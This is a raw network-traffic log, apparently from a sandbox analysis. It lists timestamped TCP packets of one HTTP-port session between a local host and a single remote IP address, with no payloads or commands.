Dec 26, 2024 12:52:12.166845083 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:12.166881084 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:12.166892052 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:12.166928053 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:12.166933060 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:12.166969061 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:12.167680979 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:12.167776108 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:12.168067932 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:12.168529034 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:12.168634892 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:12.168677092 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:12.169394970 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:12.169555902 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:12.169780970 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:12.170212984 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:12.170341015 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:12.170676947 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:12.171142101 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:12.171226978 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:12.171571016 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:12.171925068 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:12.172048092 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:12.172148943 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:12.172789097 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:12.172892094 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:12.173032999 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:12.173657894 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:12.173798084 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:12.173882008 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:12.174478054 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:12.174676895 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:12.174858093 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:12.175354004 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:12.175455093 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:12.175730944 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:12.176182985 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:12.176310062 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:12.176347017 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:12.177062988 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:12.177196980 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:12.177529097 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:12.177911043 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:12.178041935 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:12.178328037 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:12.178734064 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:12.178874969 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:12.178915977 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:12.179591894 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:12.179766893 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:12.179883003 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:12.180439949 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:12.180545092 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:12.180582047 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:12.181303978 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:12.181381941 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:12.181421995 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:12.182151079 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:12.182291031 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:12.182328939 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:12.183108091 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:12.183176994 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:12.183218002 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:12.183902025 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:12.184061050 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:12.184118032 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:12.184715986 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:12.184858084 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:12.184959888 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:12.185575008 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:12.185718060 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:12.185760021 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:12.186441898 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:12.186532974 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:12.186661005 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:12.187277079 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:12.187376976 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:12.187412977 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:12.188138962 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:12.188369036 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:12.188524008 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:12.188988924 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:12.189131021 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:12.189183950 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:12.189835072 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:12.189902067 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:12.189939022 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:12.190700054 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:12.190799952 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:12.191025019 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:12.191548109 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:12.191731930 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:12.191768885 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:12.192393064 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:12.192487001 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:12.192528963 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:12.193260908 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:12.193366051 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:12.193411112 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:12.194118977 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:12.194253922 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:12.194293022 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:12.195072889 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:12.195179939 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:12.195415020 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:12.195796013 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:12.195971966 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:12.196022034 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:12.196655035 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:12.196737051 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:12.196764946 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:12.196938992 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:12.197510958 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:12.197628975 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:12.197757959 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:12.198374987 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:12.198489904 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:12.198528051 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:12.199263096 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:12.199352980 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:12.199394941 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:12.200056076 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:12.200158119 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:12.200361013 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:12.200912952 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:12.200972080 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:12.201010942 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:12.201842070 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:12.202007055 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:12.202050924 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:12.202680111 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:12.203284979 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:12.203409910 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:12.203918934 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:12.203931093 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:12.203969955 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:12.205044985 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:12.205058098 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:12.205094099 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:12.205560923 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:12.205573082 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:12.205610991 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:12.206063032 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:12.206667900 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:12.207113981 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:12.207288980 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:12.207300901 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:12.207336903 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:12.208386898 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:12.208399057 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:12.208483934 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:12.209009886 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:12.209501982 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:12.209547997 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:12.210165977 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:12.210179090 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:12.210226059 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:12.210587978 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:12.210741043 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:12.210824966 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:12.211750031 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:12.241974115 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:12.255502939 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:12.377412081 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:12.377454042 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:12.377499104 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:12.377753019 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:12.377943993 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:12.377984047 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:12.378606081 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:12.378881931 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:12.378921986 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:12.378952980 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:12.379733086 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:12.379774094 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:12.379857063 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:12.380599022 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:12.380645990 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:12.380698919 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:12.381444931 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:12.381550074 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:12.381580114 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:12.382319927 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:12.382359982 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:12.382396936 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:12.383167982 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:12.383220911 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:12.383295059 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:12.384043932 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:12.384176016 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:12.384217024 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:12.384855032 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:12.384960890 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:12.385008097 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:12.385741949 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:12.385792971 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:12.385855913 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:12.386549950 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:12.386589050 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:12.386615038 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:12.388181925 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:12.388195992 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:12.388231993 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:12.388294935 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:12.388335943 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:12.388421059 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:12.389131069 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:12.389177084 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:12.389241934 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:12.389997959 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:12.390122890 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:12.390161037 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:12.390881062 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:12.390922070 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:12.390939951 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:12.391727924 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:12.391774893 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:12.391793013 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:12.392555952 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:12.392604113 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:12.392688036 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:12.393399954 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:12.393440008 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:12.393501043 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:12.394360065 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:12.394413948 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:12.394454002 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:12.395466089 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:12.395517111 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:12.395685911 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:12.396190882 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:12.396230936 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:12.396266937 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:12.396801949 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:12.396851063 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:12.396908045 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:12.397687912 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:12.397730112 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:12.397891045 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:12.398530960 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:12.398627996 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:12.398662090 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:12.399401903 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:12.399525881 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:12.399559975 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:12.400230885 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:12.400274038 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:12.400363922 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:12.401061058 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:12.401103973 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:12.401153088 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:12.401927948 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:12.402030945 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:12.402036905 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:12.402036905 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:12.402791023 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:12.402849913 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:12.402920961 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:12.403635979 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:12.403681993 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:12.403721094 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:12.404490948 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:12.404696941 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:12.404700994 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:12.405414104 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:12.405455112 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:12.405517101 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:12.406210899 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:12.406299114 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:12.406346083 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:12.407053947 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:12.407099962 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:12.407186031 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:12.407917023 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:12.407988071 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:12.408093929 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:12.408742905 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:12.408885002 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:12.408920050 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:12.409657955 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:12.409704924 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:12.409728050 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:12.410486937 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:12.410593033 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:12.410619974 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:12.411331892 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:12.411429882 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:12.411465883 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:12.412179947 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:12.412246943 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:12.412275076 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:12.413027048 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:12.413079977 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:12.413121939 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:12.413417101 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:12.413897038 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:12.413958073 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:12.413997889 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:12.414729118 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:12.414771080 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:12.414834023 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:12.415627003 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:12.415667057 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:12.415688992 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:12.416436911 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:12.416480064 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:12.416542053 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:12.417319059 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:12.417412043 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:12.417450905 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:12.418168068 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:12.418212891 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:12.418247938 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:12.419006109 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:12.419043064 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:12.419106007 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:12.419874907 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:12.419945955 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:12.420011044 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:12.420686007 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:12.420736074 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:12.420797110 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:12.421542883 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:12.421586990 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:12.421602011 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:12.448766947 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:12.482146978 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:12.588916063 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:12.589068890 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:12.589128971 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:12.589354992 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:12.589514971 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:12.589555025 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:12.590015888 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:12.590178967 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:12.590842962 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:12.591028929 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:12.591041088 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:12.591073990 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:12.591706991 CET	80	49842	185.215.113.16	192.168.2.6
